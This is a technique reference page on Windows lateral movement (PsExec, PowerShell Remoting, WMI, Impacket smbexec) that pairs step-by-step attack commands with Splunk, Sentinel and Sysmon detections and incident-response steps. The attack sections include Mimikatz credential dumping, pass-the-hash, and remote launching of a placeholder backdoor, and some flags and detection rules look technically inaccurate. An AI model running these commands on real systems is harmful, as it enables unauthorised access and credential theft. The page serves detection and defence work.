MCADDF

[LM-REMOTE-005]: SMB/RDP/PS Remoting/WMI Chaining

Metadata

Attribute Details
Technique ID LM-REMOTE-005
MITRE ATT&CK v18.1 T1021 - Remote Services
Tactic Lateral Movement
Platforms Windows Endpoint
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016 - 2019 - 2022 - 2025
Patched In N/A (Technique remains active; mitigations apply)
Author SERVTEP – Artur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: SMB/RDP/PowerShell Remoting and WMI chaining represents a critical lateral movement attack surface in Windows environments. Attackers leverage legitimate remote access protocols (SMB for file shares and named pipes, RDP for interactive sessions, PowerShell Remoting for script execution, and WMI for system management) to move between endpoints without requiring additional tools or exploits. These protocols operate at the OS level and are deeply integrated into Windows infrastructure, making them attractive targets for adversaries who have obtained valid credentials. The attack chain typically begins with credential theft (NTLM hash, Kerberos ticket, or cleartext password) and leverages built-in Windows utilities (PsExec, DCOM, WinRS, Invoke-CimMethod) to execute code remotely.

Attack Surface:

Business Impact: Enables unrestricted lateral movement across the enterprise. Once an attacker obtains valid credentials (even low-privilege user accounts), they can hop between dozens or hundreds of systems within hours. This creates a privileged escalation path to domain controllers, database servers, and sensitive data repositories. Typical impact includes data exfiltration, ransomware deployment, and persistence establishment.

Technical Context: These attacks are rapid—moving between 5-10 systems in under 1 hour is common. Detection is challenging because all traffic uses legitimate Windows protocols and the activity mirrors normal administrative operations. Event ID 4624 (successful logon) is generated for each lateral hop, but high-volume logon events often trigger alert fatigue. Stealth can be achieved by targeting systems with disabled audit logging or using accounts that regularly authenticate across the network (service accounts).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS 2.1, 2.2 Account Policies / Password Policy configuration failures
DISA STIG WN16-AU-000030 Audit Policy for Successful Logons
CISA SCuBA SC.L1-3.13.2 Multi-factor Authentication on Remote Access
NIST 800-53 AC-3, AC-6, SI-4 Access Enforcement, Privilege Limitation, Information System Monitoring
GDPR Art. 32 Security of Processing - Technical measures for data integrity
DORA Art. 9 Protection and Prevention of ICT-Related Incidents
NIS2 Art. 21 Cyber Risk Management Measures for Critical Operators
ISO 27001 A.9.2.3, A.9.4.3 Management of Privileged Access Rights; Control of Operational Software
ISO 27005 § 4.4.1 Risk Analysis – Control of System Access

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:

3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

# Check if SMB connectivity is available to target
Test-NetConnection -ComputerName 192.168.1.2 -Port 445
# Expected output: TcpTestSucceeded = True

# Check if WinRM is enabled on target
Test-WSMan -ComputerName 192.168.1.2
# Expected output: ProductVersion [OS=10.0.xxxxx]

# Check current user's credentials and delegation capability
whoami /groups
# Look for "INTERACTIVE", "NETWORK" groups (indicates ability to authenticate)

# Enumerate SMB shares accessible
Get-SmbShare -CimSession (New-CimSession -ComputerName 192.168.1.2)

# Check Kerberos tickets in cache (if using Kerberos authentication)
klist.exe
# Expected output: Cached tickets, service tickets (indicates valid auth context)

What to Look For:

Version Note: Windows Server 2022+ has stricter default SMB1 disabling; SMB2/3 is default. Commands above use SMB2/3 by default.

Linux/Bash / CLI Reconnaissance

# Test SMB connectivity and enumerate shares from Linux
nmap -p 445 192.168.1.2 -sV
# Expected output: 445/tcp open microsoft-ds

# Enumerate shares using Impacket
python3 -m impacket.smbclient -N //192.168.1.2/IPC$ -U "" -no-pass
# If IPC$ is accessible, SMB enumeration is possible

# Test RDP availability
nmap -p 3389 192.168.1.2 -sV
# Expected output: 3389/tcp open ms-wbt-server

# Check WinRM availability
python3 -c "import socket; s = socket.socket(); s.connect(('192.168.1.2', 5985)); print('WinRM HTTP accessible')"
# Expected output: WinRM HTTP accessible (or connection refused if disabled)

What to Look For:

4. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1: Using PsExec (Windows - Native)

Supported Versions: Server 2016-2025

Step 1: Obtain Valid Credentials

Objective: Acquire NTLM hash or cleartext password of a domain user

Command:

# After compromising a system, extract NTLM hash from memory (requires Local Admin)
# Using Mimikatz
mimikatz.exe
sekurlsa::logonpasswords
# Example output: Domain\Username:NTLMHASH

Expected Output:

Authentication Id : 0 ; 6 (192:6)
Session           : Interactive from 1
User Name         : john.doe
Domain            : CONTOSO
Logon Server      : DC01
Logon Time        : 1/10/2026 10:15:00 AM
SID               : S-1-5-21-1234567890-1234567890-1234567890-1001
  * Username : john.doe
  * Domain   : CONTOSO
  * Password : (hash or cleartext)
  * NTLM     : 8846F7EAEE8FB117AD06BDD830B7586C

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Execute PsExec Lateral Movement

Objective: Establish remote command execution on target system using valid credentials

Command:

# PsExec with NTLM hash (Pass-the-Hash)
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p (password or use hash) cmd.exe

# PsExec with hash directly (requires Impacket on Linux or tool support)
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -H 8846F7EAEE8FB117AD06BDD830B7586C cmd.exe

# PsExec with cleartext credentials
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p ComplexPassword123! cmd.exe

# Direct PsExec execution with command
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p ComplexPassword123! -c C:\backdoor.exe
# Copies backdoor.exe to target and executes

Command (Server 2016-2019):

# Works identically; SMB2 is default
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p PASSWORD cmd.exe

Command (Server 2022+):

# SMB3 is default; encryption may be enforced
# If SMB encryption is required:
psexec.exe \\192.168.1.2 -u CONTOSO\john.doe -p PASSWORD -smb2support cmd.exe

Expected Output:

PsExec v2.45 - Execute processes remotely
Copyright (C) 2001-2021 Mark Russinovich
Sysinternals - www.sysinternals.com

Connecting to 192.168.1.2...
Starting PSEXESVC service on 192.168.1.2... done
Connecting with PsExec service on 192.168.1.2...
Microsoft Windows [Version 10.0.20348]
(C) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2: Using PowerShell Remoting (WinRM)

Supported Versions: Server 2016-2025 (WinRM enabled by default on Server; requires explicit enablement on Client)

Step 1: Enable WinRM on Target (If Disabled)

Objective: Activate WinRM service for PowerShell Remoting

Command:

# From local system, enable WinRM (requires Local Admin)
Enable-PSRemoting -Force

# If already running, verify it's listening
Get-Service WinRM | Select Status
# Expected: Running

# Test WinRM connectivity from another system
Test-WSMan -ComputerName 192.168.1.2

Version Note: Server editions have WinRM enabled by default; Client editions do not.

Command (Server 2016-2019):

# Enable WinRM with default settings
Enable-PSRemoting -Force
# WinRM listens on 5985 (HTTP) by default

Command (Server 2022+):

# Enable WinRM; may require additional Kerberos delegation setup
Enable-PSRemoting -Force
# Verify Kerberos delegation: Get-PSSessionConfiguration | Select Name, AuthenticationOptions

Expected Output:

WinRM Quick Configuration
Running the WinRM Quick Configuration:
- Creates local firewall rules for WinRM traffic
- Starts the WinRM service

WinRM has been updated to receive requests.
WinRM service started successfully.

OpSec & Evasion:

References & Proofs:

Step 2: Establish PowerShell Session to Remote System

Objective: Create interactive PowerShell session or execute commands remotely

Command:

# Create interactive session (requires valid credentials)
$session = New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
# Prompts for username and password

# Enter remote session
Enter-PSSession $session
# Now at remote C:\Users\username> prompt

# Alternative: Execute single command without interactive session
Invoke-Command -ComputerName 192.168.1.2 -Credential (Get-Credential) -ScriptBlock {
    whoami
    ipconfig
    Get-Process
}

Expected Output (Interactive Session):

[192.168.1.2]: PS C:\Users\john.doe\Documents>

Expected Output (Command Execution):

CONTOSO\john.doe
192.168.1.2: DESKTOP-ABC123D

Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  : contoso.com
   IPv4 Address                     : 192.168.1.2
   Subnet Mask                      : 255.255.255.0
   Default Gateway                  : 192.168.1.1

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 3: Using WMI/DCOM (Invoke-CimMethod)

Supported Versions: Server 2016-2025

Step 1: Query Target System Capabilities

Objective: Verify WMI is accessible and enumerate processes

Command:

# Test WMI connectivity to target
Get-CimInstance -ClassName Win32_OperatingSystem -ComputerName 192.168.1.2 -Credential (Get-Credential)

# If successful, enumerates OS information
# If failed, WMI is blocked or credentials invalid

Expected Output:

PSComputerName : 192.168.1.2
SystemName     : DESKTOP-ABC123D
BuildNumber    : 20348
Version        : 10.0.20348
OSLanguage     : 1033

What This Means:

OpSec & Evasion:

Step 2: Execute Remote Process via WMI

Objective: Launch executable on remote system without creating obvious service entries

Command:

# Execute command on remote system using Invoke-CimMethod
$CimSession = New-CimSession -ComputerName 192.168.1.2 -Credential (Get-Credential)

# Create process
Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{
    CommandLine = "cmd.exe /c C:\backdoor.exe"
}

# Output includes ProcessId

Expected Output:

ProcessId ReturnValue PSComputerName
---------- ----------- --------------
       1234           0 192.168.1.2

What This Means:

Version Note: Identical behavior across Server 2016-2025

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 4: Using Impacket smbexec.py (Linux/Cross-Platform)

Supported Versions: Server 2016-2025 (SMB protocol is consistent)

Step 1: Install and Configure Impacket

Objective: Set up Impacket framework on attacker system

Command:

# Install Impacket
pip3 install impacket

# Verify installation
python3 -m impacket.smbexec -h
# Should display help menu

# Alternatively, clone from GitHub
git clone https://github.com/fortra/impacket.git
cd impacket
python3 setup.py install

Expected Output:

Impacket v0.12.0-dev - Copyright 2023 Fortra

usage: smbexec.py [-h] [--help-all] [-share SHARE] [-mode {SERVER,SHARE}] 
                   [-ts] [-codec CODEC] [-target-ip ip address]
                   [-port [destination port]] [-timeout TIMEOUT]
                   [-k] [-aesKey hex key] [-hashes LMHASH:NTHASH]
                   [-no-pass] [-p PORT]
                   target [command]

OpSec & Evasion:

Step 2: Execute Remote Command via smbexec.py

Objective: Execute arbitrary command on remote Windows system

Command:

# Basic execution with cleartext credentials
python3 -m impacket.smbexec CONTOSO/john.doe:ComplexPassword123!@192.168.1.2

# Using NTLM hash instead of password
python3 -m impacket.smbexec -hashes :8846F7EAEE8FB117AD06BDD830B7586C CONTOSO/john.doe@192.168.1.2

# Execute single command
python3 -m impacket.smbexec CONTOSO/john.doe:ComplexPassword123!@192.168.1.2 'whoami'

# Interactive shell (create temp service, execute commands)
python3 -m impacket.smbexec CONTOSO/john.doe:ComplexPassword123!@192.168.1.2
# Drops to C:\> prompt

Expected Output (Interactive):

Impacket v0.12.0-dev - Copyright 2023 Fortra
[*] Using temporary service ABBCDDE on 192.168.1.2
[*] Creating service (temporary)
[*] Running pseudo shell...
Type 'help' for list of commands

C:\>

What This Means:

Version Note: smbexec.py behavior is consistent across Windows Server 2016-2025

OpSec & Evasion:

Troubleshooting:

References & Proofs:

5. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

SMB/Admin Shares test

Invoke-AtomicTest T1021.002 -TestNumbers 1,2

WinRM test

Invoke-AtomicTest T1021.006 -TestNumbers 1,2


- **Cleanup Command:**
```powershell
Invoke-AtomicTest T1021.001 -TestNumbers 1 -Cleanup
Invoke-AtomicTest T1021.002 -TestNumbers 1,2 -Cleanup
Invoke-AtomicTest T1021.006 -TestNumbers 1,2 -Cleanup

Reference: Atomic Red Team - T1021 Remote Services

6. SPLUNK DETECTION RULES

Rule 1: Service Creation via SMB (PsExec Pattern)

Rule Configuration:

SPL Query:

index=main sourcetype=WinEventLog:Security EventCode=7045
| where Service_Name LIKE "PSEXESVC" OR Service_Name LIKE "ABBCDDE%"
| stats count by Computer, Service_Name, User
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click Settings → Searches, reports, and alerts
  3. Click + New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to Results > 0
  6. Configure Action → Send email to SOC team

Rule 2: Successful Logon from Suspicious Source

Rule Configuration:

SPL Query:

index=main sourcetype=WinEventLog:Security EventCode=4624 
| where Logon_Type=3 
| where NOT Source_Network_Address IN (gateway_ips, jump_box_ips, vpn_ips)
| stats count by Computer, Account_Name, Source_Network_Address
| where count > 5

What This Detects:

False Positive Analysis:

Rule 3: WMI Process Creation Events

Rule Configuration:

SPL Query:

index=main sourcetype=WinEventLog:System EventCode=5857
| where Image LIKE "%wmiprvse.exe%" AND ParentImage LIKE "%svchost.exe%"
| stats count by Computer, Image, CommandLine
| where count > 0

What This Detects:

7. MICROSOFT SENTINEL DETECTION

Query 1: Service Creation Pattern Detection

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 7045
| where Process has_any ("PSEXESVC", "ABBCDDE", "WinRM")
| extend SourceIP = extract(@"\[(.+?)\]", 1, Process)
| summarize Count = count(), Services = make_set(Process) by Computer, SubjectUserName, SourceIP
| where Count > 2 or Services contains "PSEXESVC"
| project-reorder Computer, SubjectUserName, Count, Services

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure Portal → Microsoft Sentinel
  2. Select your workspace → Analytics
  3. Click + Create → Scheduled query rule
  4. General Tab:
    • Name: Lateral Movement - Service Creation (PsExec/SMBExec)
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 30 minutes
  6. Incident settings Tab:
    • Enable Create incidents
    • Set entity mapping: Computer → Host, SubjectUserName → Account
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Lateral Movement - Service Creation (PsExec/SMBExec)" `
  -Query @"
SecurityEvent
| where EventID == 7045
| where Process has_any ("PSEXESVC", "ABBCDDE", "WinRM")
| extend SourceIP = extract(@"\[(.+?)\]", 1, Process)
| summarize Count = count(), Services = make_set(Process) by Computer, SubjectUserName, SourceIP
| where Count > 2 or Services contains "PSEXESVC"
"@ `
  -Severity "High" `
  -Enabled $true

Query 2: Network Logon Spike (T1021 Pattern)

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4624
| where LogonType has_any ("3", "10")  // Network and RDP logon types
| extend SourceIP = IpAddress
| summarize LogonCount = count() by Computer, TargetUserName, SourceIP
| where LogonCount > 5 and SourceIP startswith "10." or SourceIP startswith "192.168."
| project-reorder Computer, TargetUserName, LogonCount, SourceIP

What This Detects:

8. WINDOWS EVENT LOG MONITORING

Event ID: 7045 (New Service Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies - Local
  3. Enable: Audit System (specifically “System Change” subcategory)
  4. Set to: Success and Failure
  5. Run gpupdate /force on target machines

Event ID: 4624 (Successful Logon)

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Logon/Logoff
  3. Enable: Audit Logon
  4. Set to: Success and Failure
  5. Run auditpol /set /subcategory:"Logon" /success:enable /failure:enable

Event ID: 5857 (WMI Event - Provider Started)

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025

<!-- Sysmon Event ID 1: Process Creation (Lateral Movement Detection) -->
<RuleGroup name="Lateral Movement - SMB/RDP/WinRM" groupRelation="or">
  <!-- PsExec service creation -->
  <Rule name="PsExec Service" onmatch="include">
    <EventID>11</EventID>
    <TargetFilename condition="contains">PSEXESVC</TargetFilename>
  </Rule>
  
  <!-- SMBExec temporary service -->
  <Rule name="SMBExec Service" onmatch="include">
    <EventID>11</EventID>
    <TargetFilename condition="matches">.*ABBCDDE.*</TargetFilename>
  </Rule>
  
  <!-- Remote process execution via WMI -->
  <Rule name="WMI Remote Process Execution" onmatch="include">
    <EventID>3</EventID>
    <DestinationPort condition="in">5985,5986</DestinationPort>
    <Image condition="contains">wmiprvse.exe</Image>
  </Rule>
  
  <!-- RDP incoming connection -->
  <Rule name="RDP Connection" onmatch="include">
    <EventID>3</EventID>
    <DestinationPort>3389</DestinationPort>
    <Protocol>tcp</Protocol>
  </Rule>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-lateral.xml with the XML above
  3. Install Sysmon with the config: 
    sysmon64.exe -accepteula -i sysmon-lateral.xml
  4. Verify installation: 
    Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Select EventID, Message
  5. Monitor for events: 
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]]" | Select TimeCreated, Message

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious process creation via service”

Alert Name: “Suspicious account creation”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure Portal → Microsoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Cloud Apps: ON (for RDP/WinRM anomaly detection)
  5. Click Save
  6. Go to Security alerts to view triggered alerts
  7. Configure Alert Rules → Custom alert rules to add additional detections

Reference: Microsoft Defender for Cloud - Alert Reference

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Check if SMB is properly blocked on workstations
Get-NetFirewallRule -DisplayName "*SMB*" | Select Name, Enabled, Direction, Action

# Verify WinRM is restricted to admin network
Get-NetFirewallRule -DisplayName "*Remote Management*" | Select Name, Enabled, Direction

# Confirm NLA is enforced for RDP
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" | Select SecurityLayer, UserAuthentication

# Check Event Log configuration
Get-EventLog -LogName Security | Measure-Object  # Should show events going back 90+ days

Expected Output (If Secure):

Name                           Enabled Direction Action
----                           ------- --------- ------
Block Inbound SMB                True    Inbound   Block
Restrict WinRM to Admin Network   True    Inbound   Allow

SecurityLayer   : 2 (SSL/TLS)
UserAuthentication : 1 (Required)

What to Look For:

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:

    Command:

    # Disable network adapter immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
   
# Alternatively, kill WinRM service to stop further lateral movement
Stop-Service -Name WinRM -Force
Stop-Service -Name RpcSs -Force  # Disables RPC, but may impact system functionality

    Manual (Azure):

    • Go to Azure Portal → Virtual Machines → Select compromised VM → Networking
    • Click on Network Interface → Network Security Group
    • Add inbound rule: Source: 0.0.0.0/0, Action: Deny, Priority: 100
    • This cuts network access while preserving VM for forensics

  2. Collect Evidence:

    Command:

    # Export Security Event Log to forensic disk
wevtutil epl Security C:\Evidence\Security.evtx /overwrite:true
   
# Capture memory dump of LSASS (for credential analysis)
procdump64.exe -accepteula -ma lsass.exe C:\Evidence\lsass.dmp
   
# Export Windows Prefetch files
Copy-Item "C:\Windows\Prefetch\*.pf" "C:\Evidence\Prefetch\"
   
# Capture registry hives
reg export HKLM\System C:\Evidence\System.reg
reg export HKLM\SAM C:\Evidence\SAM.reg

    Manual:

    • Open Event Viewer → Right-click Security → Save All Events As → C:\Evidence\Security.evtx
    • Open Task Manager → Performance → Memory → Right-click → Create dump file
    • Using forensic tools (EnCase, FTK): Capture full disk image for post-incident analysis

  3. Remediate:

    Command:

    # Stop malicious processes
Stop-Process -Name "cmd" -Force
Stop-Process -Name "powershell" -Force
   
# Remove PsExec service if still present
Remove-Service -Name "PSEXESVC" -ErrorAction SilentlyContinue
Remove-Item "C:\Windows\System32\PSEXESVC.exe" -Force -ErrorAction SilentlyContinue
   
# Delete unauthorized local admin accounts created during lateral movement
$accounts = Get-LocalUser | where { $_.Name -like "*admin*" -and $_.Name -ne "Administrator" }
foreach ($account in $accounts) {
    Remove-LocalUser -Name $account.Name -Confirm:$false
}
   
# Reset password for compromised user accounts
$password = ConvertTo-SecureString "NewSecurePassword123!" -AsPlainText -Force
Set-LocalUser -Name "compromised_user" -Password $password
   
# Clear audit logs to remove evidence (if required by policy - typically NOT recommended)
Clear-EventLog -LogName Security -Confirm:$false  # Only after SIEM backup

    Manual:

    • Open Services.msc → Right-click suspicious services → Delete
    • Open Computer Management → Local Users and Groups → Delete unauthorized accounts
    • Open Event Viewer → Right-click logs → Clear Log (only after forensic collection)
Step Phase Technique Description
1 Initial Access [CA-PHISH-001] Phishing Email with Macro Attacker sends malicious Office document; user enables macros and executes payload
2 Credential Access [CA-DUMP-003] LSASS Dump via MiniDump Attacker extracts NTLM hashes/Kerberos tickets from LSASS process memory
3 Current Step [LM-REMOTE-005] Attacker performs SMB/RDP/WinRM lateral movement using obtained credentials
4 Persistence [PERSIST-007] Golden SAML Token Attacker forges SAML tokens for persistent Azure AD access
5 Impact [IMPACT-001] Data Exfiltration via Teams Attacker uploads sensitive data to cloud and exfiltrates via Teams channel

14. REAL-WORLD EXAMPLES

Example 1: Emotet Ransomware Campaign (2021-2022)

Example 2: BlackCat/ALPHV Ransomware (2023-2024)

Example 3: APT29 (Cozy Bear) Campaign - SolarWinds Supply Chain Attack (2020)

This site is open source. Improve this page.